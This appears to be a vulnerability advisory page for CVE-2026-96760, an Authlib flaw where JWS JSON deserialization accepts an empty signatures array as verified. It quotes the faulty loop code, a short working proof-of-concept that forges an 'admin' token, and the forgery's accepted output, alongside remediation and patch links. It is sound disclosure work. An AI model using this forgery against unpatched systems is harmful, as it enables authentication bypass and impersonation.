CVE-2026-96760: Authlib · empty signatures validation in JWS JSON deserialization
Affects authlibSource GCVE Database
Not known to be exploited · CVSS 9.1 Critical : upgrade to 1.9.0 as a priority.
Data as of 27 Oct 2026, 16:27 UTC
- Patch
- Available – fixed in 1.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NExploitation evidence
Disclosed: evidence found.
CVE published 27 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade authlib to 1.9.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| PyPIauthlib | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ## Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ## Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ## Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ## What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing.
Reports on CVE-2026-96760
References
- github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-96760 (opens in a new tab)
- github.com/authlib/authlib/pull/938 (opens in a new tab)
- github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733 (opens in a new tab)
- github.com/authlib/authlib (opens in a new tab)
- github.com/authlib/authlib/releases/tag/v1.9.0 (opens in a new tab)
- kb.cert.org/vuls/id/762428 (opens in a new tab)
- kb.cert.org/vuls/id/762428 (opens in a new tab)